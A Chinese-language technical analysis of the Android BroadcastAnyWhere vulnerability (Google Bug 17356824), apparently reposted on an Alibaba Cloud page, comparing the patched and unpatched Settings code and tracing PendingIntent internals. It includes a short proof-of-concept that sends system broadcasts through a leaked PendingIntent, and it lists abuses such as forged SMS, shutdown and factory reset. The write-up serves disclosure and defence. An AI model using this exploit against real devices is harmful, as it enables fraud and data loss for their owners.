Android BroadcastAnyWhere(Google Bug 17356824)漏洞具體分析

來源:互聯網
上載者:User

標籤:分支   使用者   許可權   ted   format   限制   oid   pos   handle   

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具體分析

簡行(又名 低端碼農)

繼上次Android的LaunchAnyWhere組件安全性漏洞後,近期Google在Android 5.0的原始碼上又修複了一個高危漏洞。該漏洞簡直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。

通過這個漏洞,攻擊者能夠以system使用者的身份發送廣播。這意味著攻擊者能夠無視一切的BroadcastReceiver組件訪問限制。並且該漏洞影響範圍極廣。Android 2.0+至4.4.x都受影響。

漏洞分析修複前後代碼對照

BroadcastAnyWhere跟LaunchAnyWhere的利用原理很相似,兩者都利用了Setting的uid是system進程高許可權操作。

漏洞相同發生在Setting的加入帳戶的流程上,該流程具體見《Android LaunchAnyWhere (Google Bug 7699048)漏洞具體解釋及防禦措施》一文。而BroadcastAnyWhere漏洞則發生在這個流程之前。在分析漏洞之前。 我們先來看看漏洞修複的前後對照。具體代碼在AddAccountSetting的addAccount方法。

修複前代碼中下:

 ... private static final String KEY_CALLER_IDENTITY = "pendingIntent"; ... private void addAccount(String accountType) {        Bundle addAccountOptions = new Bundle();        mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);        addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);        addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));        AccountManager.get(this).addAccount(                accountType,                null, /* authTokenType */                null, /* requiredFeatures */                addAccountOptions,                null,                mCallback,                null /* handler */);        mAddAccountCalled  = true;    }

修複後代碼例如以下

...private static final String KEY_CALLER_IDENTITY = "pendingIntent";private static final String SHOULD_NOT_RESOLVE = "SHOULDN‘T RESOLVE!";...private void addAccount(String accountType) {    Bundle addAccountOptions = new Bundle();    /*     * The identityIntent is for the purposes of establishing the identity     * of the caller and isn‘t intended for launching activities, services     * or broadcasts.     *     * Unfortunately for legacy reasons we still need to support this. But     * we can cripple the intent so that 3rd party authenticators can‘t     * fill in addressing information and launch arbitrary actions.     */    Intent identityIntent = new Intent();    identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));    identityIntent.setAction(SHOULD_NOT_RESOLVE);    identityIntent.addCategory(SHOULD_NOT_RESOLVE);    mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));    AccountManager.get(this).addAccountAsUser(            accountType,            null, /* authTokenType */            null, /* requiredFeatures */            addAccountOptions,            null,            mCallback,            null /* handler */,            mUserHandle);    mAddAccountCalled  = true;}

mPenddingIntent的作用主要是作為身份識別用的。

通過前後對照。修複方案就是把放入mPendingIntent的intent。由原來簡單的new Intent()改為事先經過一系列填充的identityIntent。這樣做,就能夠防止第三方的Authenticator(主要是針對木馬)進行二次填充。後面會具體介紹。

注意PendingIntent.getBroadcast調用的參加中,在修複前傳入的是一個"空"的Intent對象,這對後面的分析很關鍵。

PeddingIntent的實現原理

通過上面代碼對照分析。假設你已經對PeddingIntent的實現細節比較清楚的話,那麼這節的內容能夠跳過。在PenddingIntent.java源檔案裡,有這麼一段說明:

/** * ... * ... * <p>By giving a PendingIntent to another application, * you are granting it the right to perform the operation you have specified * as if the other application was yourself (with the same permissions and * identity).  As such, you should be careful about how you build the PendingIntent: * almost always, for example, the base Intent you supply should have the component * name explicitly set to one of your own components, to ensure it is ultimately * sent there and nowhere else. * * <p>A PendingIntent itself is simply a reference to a token maintained by * the system describing the original data used to retrieve it.  This means * that, even if its owning application‘s process is killed, the * PendingIntent itself will remain usable from other processes that * have been given it.  If the creating application later re-retrieves the * same kind of PendingIntent (same operation, same Intent action, data, * categories, and components, and same flags), it will receive a PendingIntent * representing the same token if that is still valid, and can thus call * {@link #cancel} to remove it. * ... * ... */

簡單來說。就是指PenddingIntent對象能夠按預先指定的動作進行觸發。當這個對象傳遞(通過binder)到其它進程(不同uid的使用者),其它進程利用這個PenddingInten對象,能夠原進程的身份許可權運行指定的觸發動作。這有點相似於Linux上suid或guid的效果。另外,因為觸發的動作是由系統進程啟動並執行,因此哪怕原進程已經不存在了,PenddingIntent對象上的觸發動作依舊有效。

PeddingIntent是一個Parcelable對象。包括了一個叫名mTarget成員,類型是。這個欄位事實上是個BinerProxy對象,真正的實現邏輯在PenddingIntentRecored.java。從原始碼分析可知。PendingIntent.getBroadcast終於調用的是ActivityManagerService中的getIntentSender方法。關鍵代碼例如以下:

public IIntentSender getIntentSender(int type, String packageName, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options, int userId) {    enforceNotIsolatedCaller("getIntentSender");    ...    ...            synchronized(this) {        int callingUid = Binder.getCallingUid();        int origUserId = userId;        userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId,                    type == ActivityManager.INTENT_SENDER_BROADCAST, false,                    "getIntentSender", null);        ...        ...        return getIntentSenderLocked(type, packageName, callingUid, userId, token, resultWho, requestCode, intents, resolvedTypes, flags, options);            } catch (RemoteException e) {                throw new SecurityException(e);            }        }    }IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid, int userId, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options) {        if (DEBUG_MU)            Slog.v(TAG_MU, "getIntentSenderLocked(): uid=" + callingUid);        ActivityRecord activity = null;        ...        ...        PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName, activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId); //依據調用者的資訊,產生PendingIntentRecord.Key對象        WeakReference<PendingIntentRecord> ref;        ref = mIntentSenderRecords.get(key);        PendingIntentRecord rec = ref != null ?

ref.get() : null; ... ... rec = new PendingIntentRecord(this, key, callingUid); //最後產生PendingIntentRecord對象 mIntentSenderRecords.put(key, rec.ref); //儲存 ... return rec; //並返回 }

總結一下這個過程。就是AMS會把產生PenddingIntent的進程(Caller)資訊儲存到PendingIntentRecord.Key。並為其維護一個PendingIntentRecord對象,這個對象是一個BinderStub。

PendingIntent提供了一系列的send方法進行動作觸發。終於是調用PendingIntentRecord的send方法,我們直接分析這裡的代碼:

public int send(int code, Intent intent, String resolvedType,            IIntentReceiver finishedReceiver, String requiredPermission) {        return sendInner(code, intent, resolvedType, finishedReceiver,                requiredPermission, null, null, 0, 0, 0, null);    }

跟進去:

int sendInner(int code, Intent intent, String resolvedType,        IIntentReceiver finishedReceiver, String requiredPermission,        IBinder resultTo, String resultWho, int requestCode,        int flagsMask, int flagsValues, Bundle options) {    synchronized(owner) {        if (!canceled) {            sent = true;            if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {                owner.cancelIntentSenderLocked(this, true);                canceled = true;            }            Intent finalIntent = key.requestIntent != null                    ? new Intent(key.requestIntent) : new Intent();            if (intent != null) {                int changes = finalIntent.fillIn(intent, key.flags); //用傳進來的intent進行填充finalIntent                if ((changes&Intent.FILL_IN_DATA) == 0) {                    resolvedType = key.requestResolvedType;                }            } else {                resolvedType = key.requestResolvedType;            }            ...            ...            switch (key.type) {                ...                case ActivityManager.INTENT_SENDER_BROADCAST:                    try {                        // If a completion callback has been requested, require                        // that the broadcast be delivered synchronously                        owner.broadcastIntentInPackage(key.packageName, uid,                                finalIntent, resolvedType,                                finishedReceiver, code, null, null,                            requiredPermission, (finishedReceiver != null), false, userId);                        sendFinish = false;                    } catch (RuntimeException e) {                        Slog.w(ActivityManagerService.TAG,                                "Unable to send startActivity intent", e);                    }                    break;                ...            }            ...                 return 0;        }    }    return ActivityManager.START_CANCELED;

針對該漏洞我們僅僅分析broadcast這個分支的邏輯就可以。這裡發現。會用send傳進來的intent對finalIntent進行填充。通過前面的程式碼分析得到。這裡的finalInent是一個“空”的intent。即mAction, mData,mType等等全為null,這使得差點兒能夠任意指定finalIntent的內容。見fillIn的代碼:

public int fillIn(Intent other, int flags) {    int changes = 0;    if (other.mAction != null            && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {        mAction = other.mAction;        changes |= FILL_IN_ACTION;    }    if ((other.mData != null || other.mType != null)            && ((mData == null && mType == null)                    || (flags&FILL_IN_DATA) != 0)) {        mData = other.mData;        mType = other.mType;        changes |= FILL_IN_DATA;    }    if (other.mCategories != null            && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {        if (other.mCategories != null) {            mCategories = new ArraySet<String>(other.mCategories);        }        changes |= FILL_IN_CATEGORIES;    }    if (other.mPackage != null            && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {        // Only do this if mSelector is not set.        if (mSelector == null) {            mPackage = other.mPackage;            changes |= FILL_IN_PACKAGE;        }    }    // Selector is special: it can only be set if explicitly allowed,    // for the same reason as the component name.    if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {        if (mPackage == null) {            mSelector = new Intent(other.mSelector);            mPackage = null;            changes |= FILL_IN_SELECTOR;        }    }    if (other.mClipData != null            && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {        mClipData = other.mClipData;        changes |= FILL_IN_CLIP_DATA;    }    // Component is special: it can -only- be set if explicitly allowed,    // since otherwise the sender could force the intent somewhere the    // originator didn‘t intend.    if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {        mComponent = other.mComponent;        changes |= FILL_IN_COMPONENT;    }    mFlags |= other.mFlags;    if (other.mSourceBounds != null            && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {        mSourceBounds = new Rect(other.mSourceBounds);        changes |= FILL_IN_SOURCE_BOUNDS;    }    if (mExtras == null) {        if (other.mExtras != null) {            mExtras = new Bundle(other.mExtras);        }    } else if (other.mExtras != null) {        try {            Bundle newb = new Bundle(other.mExtras);            newb.putAll(mExtras);            mExtras = newb;        } catch (RuntimeException e) {            // Modifying the extras can cause us to unparcel the contents            // of the bundle, and if we do this in the system process that            // may fail.  We really should handle this (i.e., the Bundle            // impl shouldn‘t be on top of a plain map), but for now just            // ignore it and keep the original contents. :(            Log.w("Intent", "Failure filling in extras", e);        }    }    return changes;}

從上面代碼得知,我們能夠任意指定除了mComponent之外的全部欄位,這已經能夠滿足大部分的使用情景了。

漏洞利用和危害

有了前面分析,漏洞複用代碼就很easy了。這裡一個是發送系統開機廣播的範例:

// the exploit of broadcastAnyWherefinal String KEY_CALLER_IDENTITY = "pendingIntent";PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");intent_for_broadcast.putExtra("info", "I am bad boy");try {    pendingintent.send(mContext, 0, intent_for_broadcast);} catch (CanceledException e) {    e.printStackTrace();}

事實上可利用的廣播實在太多了。再比方:

  • 發送android.provider.Telephony.SMS_DELIVER能夠偽造接收簡訊。
  • 發送android.intent.action.ACTION_SHUTDOWN能夠直接關機。
  • 發送com.google.android.c2dm.intent.RECEIVE廣播,裝置將恢複至出廠設定。
  • 等等

攻擊者通過漏洞能夠偽造親朋好友或者銀行電商的簡訊。跟正常的簡訊全然無異。普通使用者根本無法甄別。

除了偽造簡訊外,攻擊者能夠利用該漏洞恢復出廠預設值,對對使用者進行威脅等等。

ComponentSuperAccessor

結合LuanchAynWhere和BroadcastAnyWhere兩個漏洞,我適當的封裝了一下。實現了一個ComponentSuperAccessor的庫,有興趣的朋友能夠到https://github.com/boyliang/ComponentSuperAccessor.git下載。

阿里Mobile Security專家建議
  • 對於開發人員。PenddingIntent儘可能不要跨進程傳遞。避免許可權泄漏。或者盡量把PendingIntent中的欄位都填充滿,避免被惡意重新導向。
  • 對於使用者和廠商,儘快升級到Android L;

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具體分析

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.